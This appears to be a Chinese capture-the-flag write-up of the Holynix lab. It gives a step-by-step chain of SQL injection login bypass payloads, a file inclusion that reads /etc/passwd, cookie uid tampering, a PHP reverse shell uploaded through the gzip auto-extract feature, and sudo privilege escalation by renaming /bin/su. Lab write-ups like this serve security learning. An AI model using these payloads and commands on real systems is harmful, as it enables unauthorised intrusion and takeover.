holynix打靶

第一步:主机发现与端口扫描

靶机启动界面:

nmap -sn 192.168.119.0/24
nmap --min-rate 10000 -p- 192.168.119.139 
nmap -sT -sV -O -p80 192.168.119.139
nmap -sU --min-rate 10000 -p- 192.168.119.139 
nmap --script=vuln -p80 192.168.119.139

扫描完成我的靶机ip是 192.168.119.139,开发的端口只有Web的80端口

漏洞扫描发现了有关SQL注入,目录枚举,csrf,dos等漏洞,我们重点关注SQL注入和目录枚举

第二步:SQL注入登录界面

只开了80端口,那就浏览器访问靶机ip,结果就是一个简单的界面,有home和login两个界面:

点击左侧Login跳转至登录界面

遇到登录框,常规思路:弱口令/默认口令/SQL注入/CMS漏洞利用/敏感信息寻找/字典爆破。这个看起来也不是cms,像是程序员自己搭建的网站,试试SQL注入吧,先把用户名和密码都输入单引号'试试

点击Submit之后直接报错了,而且暴露了sql查询语句,可以看到这个sql查询语句对username字段的单引号进行了转义(\'),而password部分没有。因此我们只要username随便输,password用万能密码即可登录:

'or 1=1 #

登录成功,进来之后有提示语,说着应该是alamo的用户:

左侧有一系列栏目可以尝试,首先点击Directory,如下:

 是一大堆人的个人信息,注意观察url中存在参数page= ,我们可以尝试文件包含,企图读取/etc/passwd

读取失败了,出现了一堆报错,先无视这些,继续在左边的栏目看看有没有可以代码执行或文件上传的地方。最后在Upload模块发现可以上传文件:

随便上传个文件试试:

对于用户alamo来说,家目录上传是不被允许的。这句话暴露了两点信息,第一,文件上传之后的上传位置可能是用户的家目录,也就是/home/alamo,第二,alamo的权限不够,需要寻找更加高权限的用户。如何以更高权限的用户登录呢?我们可以试图找到存在其他用户的用户名,然后通过SQL注入登录进其他用户的账号。那么如何找到其他用户的用户名呢?可以通过寻找文件包含漏洞,读取/etc/passwd文件。

第三步:文件包含+SQL注入实现越权/直接越权

先去寻找文件包含,注意观察各个页面的url,发现只有参数page,这个我们也简单尝试过了。既然url中暴露的参数我们无法利用,不妨找找是否存在POST型的参数,即存在文件包含漏洞的参数有可能存在于请求体中。那么重点关注的页面应该就是可以提交信息的页面,比如Security界面:

上图这个界面的下拉选项可以选择一些文本信息。很可能选择一项之后,点击Display File就会向后台发送请求,请求体中含有参数,参数的值就是下图中的这些选项(/Email/Acceptable Use/Internet Use等)这里当然可以用burpsuite抓个包看看。

通过F12查看网页源代码中元素查看这个提交的参数

这里可以在源代码中看到

通过参数text_file_name的值的改变,实现不同的Display File,比如如果这里我们选择Email后点击Display File,发送的请求包的请求体中就含有text_file_name=ssp/email.txt,那么如果我们修改前端代码,把ssp/email.txt换成我们想读取的/etc/passwd,如果text_file_name这个参数存在文件包含漏洞的话,我们应该就能读取/etc/passwd了。

如上图,果然存在文件包含漏洞,那么我们可以根据/etc/passwd这个文件看看有啥其他有bash的账户,可以发现有个用户叫etenenbaum,那么我们尝试SQL注入用这个用户登录,看看他的权限咋样。

点击左下角的Logout退出回过头来分析如何注入。在我们最开始尝试输入单引号注入的时候,报错回显了select查询语句:

SELECT * FROM accounts WHERE username='\'' AND password='''

对username中的单引号做了过滤,我们尝试在password中构造闭合,试图使得username='etenenbaum',那么我们只要密码中填写如下的信息即可构造闭合:

' or username='etenenbaum' #

这样的话,如果用户名随便输个aaa,password输入' or username='etenenbaum' #,则查询语句就是:

SELECT * FROM accounts WHERE username='aaa' AND password='' or username='etenenbaum' #'

逻辑就是(假and假)or真 = 真,果然成功登录了etenebaum的账户:

尝试另一种方式登录其他账号,回到用户alamo,任意界面F12查看存储信息,可以发现在cookies中存在一条信息,name为uid,value为1,看起来好像和用户的uid相关,说不定1对应用户alamo,2对应其他用户。

尝试

那么我们把Value的位置修改为2,点击刷新,试试能否越权。发现成功。

看来cookie中存在越权漏洞

第四步:文件上传,文件解析漏洞利用

下面就是尝试这个用户有没有上传权限了,随便上传个文件试用.txt,不勾选下面的Enable the automatic extraction of gzip archives.发现可以:

看来etenenbaum这个用户的权限可以上传文件,那我们试图上传php的反弹shell文件,先构造shell。可以手动写,这回我们直接在kali中搜索并复制到当前目录

locate php-reverse
cp /usr/share/laudanum/php/php-reverse-shell.php .

然后我们vim这个文件,修改反弹shell的ip和端口,ip设置为kali的ip,端口设置为1234

然后尝试上传文件php-reverse-shell,发现可以: 

紧接着在etenenbaum的家目录http://10.10.10.131/~etenenbaum/寻找这个文件:

这个路径已经找到了。那么我们只要在kali中启动一个nc监听1234端口即可:

nc -lvnp 1234

点击php-reverse-shell,企图触发反弹shell的代码执行:

这里权限不够,无法触发代码执行,回到文件上传界面,勾选下面的Enable the automatic extraction of gzip archives.这回上传个gzip文件试试,先把这个php反弹shell文件打包为gzip

点击提交后,回到家目录,再次发现这个.gz压缩文件并没有被解压

点击之后还是没有权限

刚刚上传的gz文件理应解压自动解压才对,因为Enable the automatic extraction of gzip archives.的意思是自动从gzip压缩文件中提取出源文件。然而实际情况我们在http://10.10.10.131/~etenenbaum/路径下却并没有看到gz文件被解压缩,这有点奇怪。而进行文件上传的时候,上传成功的页面我们可以看到url的参数page=transfer.php

可能是transfer.php这个文件的逻辑有点问题,我们可以通过刚刚的text_file_name参数的文件包含漏洞,读取这个文件:

看来进行压缩包转换的背后逻辑是用tar xzf解压,那么我们可以用tar czf打包文件,再进行上传:

tar czf shell.tar.gz php-reverse-shell.php 

然后我们上传这个shell.tar.gz文件试试,看看后台能否自动提取其中的文件

别忘记勾选Enable the automatic extraction of gzip archives.

好像没有看到新的文件,不过有可能是后台已经从gz中解压出了php-reverse-shell.php,并覆盖了之前的文件,因此我们这次再点击php-reverse-shell.php试试,看看能不能触发代码执行。

回看nc监听的端口,成功拿到了反弹shell

第五步:提权

先看看自己是谁,是www-data

然后用python提高交互性:

python -c "import pty;pty.spawn('/bin/bash')"

然后查看当前权限:

sudo -l

可知,我们可以免密用sudo执行chown chgrp tar mv这几个命令。那么结合mv可以给文件改名的特点,我们只要选择chown chgrp tar三个指令中的任意一个(这里以tar为例)改名为其他名字(tar.orgi),然后再把用于提权的su命令改名为这三个中的一个(tar),然后运行sudo 指令(sudo tar)即可提权:

sudo mv /bin/tar /bin/tar.orgi
sudo mv /bin/su /bin/tar
sudo tar

运行sudo tar就相当于运行sudo su,因为su被我们改名成了tar,然后tar又可以被我们sudo免密运行,成功提权

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值